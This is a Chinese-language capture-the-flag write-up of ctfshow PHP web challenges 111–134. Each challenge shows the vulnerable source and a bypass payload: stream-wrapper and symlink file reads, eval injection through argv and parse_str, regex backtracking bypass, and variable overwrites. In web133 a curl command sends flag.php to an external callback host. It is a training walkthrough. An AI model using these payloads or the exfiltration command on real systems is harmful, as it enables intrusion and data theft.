ctfshowphp特性2
web111(GLOBALS变量绕过)
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
利用$GLOBALS变量,引用全局作用域中可用的全部变量
将$GLOBALS变量赋值给$ctfshow
v1=ctfshow&v2=GLOBALS
web112(php伪协议)
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
is_file 判断给定文件名是否为一个正常的文件
php伪协议绕过
payload
file=php://filter/resource=flag.php
file=php://filter/convert.base32-encode/resource=flag.php
file=compress.zlib://flag.php
web113(符号链接绕过)
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
非预期解
compress.zlib://flag.php
预期解
利用符号链接(软链接)
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
/proc/self 表示当前进程目录,/proc/self/root代表根目录
如果软连接跳转的次数超过了某一个上限,Linux的lstat函数就会出错,导致PHP计算出的绝对路径就会包含一部分软连接的路径,也就和原始路径不相同的,就绕过了is_file函数
web114(php伪协议)
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
仔细观察发现没有过滤filter
php://filter/resource=flag.php
web115(trim和is_numeric)
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
fuzz测试一下
for ($i=0;$i<=128;$i++){
$x=chr($i).'36';
if (trim($x)!=='36' && is_numeric($x)){
echo urlencode($x).' ';
}
}
%0C36 %2B36 -36 .36 036 136 236 336 436 536 636 736 836 936
payload:%0c36

web123(argv)
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
$_SERVER['argv'] 当通过 GET 方式调用时,该变量包含query string
http://127.0.0.1/phplab/argv.php?$flag=1
输出
array(1) {
[0]=>
string(7) "$flag=1"
}
CTF_SHOW.COM作为变量名传参时,空格、.、+、[会变成_
这里有一个漏洞,当[被换成_后,后面的就不会再转换成_,构造成CTF[SHOW.COM
payload:
姿势一:
GET:$fl0g=flag_give_me;
POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
parse_str将一个字符串解析成多个变量
argv会根据+号判断元素个数
http://127.0.0.1/phplab/argv.php?1+fl0g+flag_give_me
输出
array(3) {
[0]=>
string(1) "1"
[1]=>
string(4) "fl0g"
[2]=>
string(12) "flag_give_me"
}
姿势二:这里就是将flag_give_me赋值给fl0g
GET:1+fl0g=flag_give_me
POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1])
姿势三:直接输出flag变量
POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
web125(highlight_file)
<?php
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
多过滤了几个函数
payload:
GET:1=flag.php
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
web126(assert)
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
payload:
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
or
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
web127(代替_的符号)
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
payload:
+ 空格 [ . 这四个符号相当于_
ctf show=ilove36d
ctf%20show=ilove36d 空格
ctf%2eshow=ilove36d .
ctf%5bshow=ilove36d [
web128(gettext)
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
gettext拓展的使用
在开启该拓展后 _() 等效于 gettext()
修改php.ini,extension=php_gettext.dll
<?php
echo gettext("phpinfo"); //phpinfo
echo _("phpinfo"); //phpinfo
payload
get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag
f1=_&f2=get_defined_vars
web129(stripos)
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
stripos — 查找字符串首次出现的位置(不区分大小写)
目录穿越
payload: /ctfshow/../../../../var/www/html/flag.php
php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
web130、131(正则最大回溯次数绕过)
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
非预期
f[]=ctfshow //preg_match不处理数组直接返回false
利用正则最大回溯次数绕过
import requests
url = 'http://d5f1a71a-d8fd-4b3e-a718-e4eb2132c5ce.challenge.ctf.show'
data = {
'f':'very'*250000 + 'ctfshow'
}
response = requests.post(url,data=data)
print(response.text)
web132(运算符优先级)
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
访问robots.txt,查看后访问/admin得到源码
在php中&&比||先运算
优先级表

前面两个false,满足$username ==="admin",就为true
payload
code=admin&password=1&username=admin
web133(无回显rce)
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
参考:web133
curl -F的使用
我们将F=$F;sleep 3,发现网站确实sleep了一会说明的确执行了命令,那么我们后面可以添加执行的命令(``相当于shell_exec()无回显)
这里相当于eval($F) --> eval(shell_exec("$F ;sleep 3"));
变成一道无回显的RCE
这里是先截取前六位,再执行
curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)
payload
#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文件
F=`$F`;+curl -X POST -F xx=@flag.php 7jrgbwpz6pzv1qfqnk11in4q2h89wzko.oastify.com

web134(POST数组的覆盖)
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
payload
<?php
parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);
;然后我们传入 _POST[‘a’]=123
会发现输出的结果为array(1) { ["‘a’"]=> string(3) “123” }
也就是说现在的$_POST[‘a’]存在并且值为123
题目中还有个extract($_POST)
这样的话 $a==123
_POST[key1]=36d&_POST[key2]=36d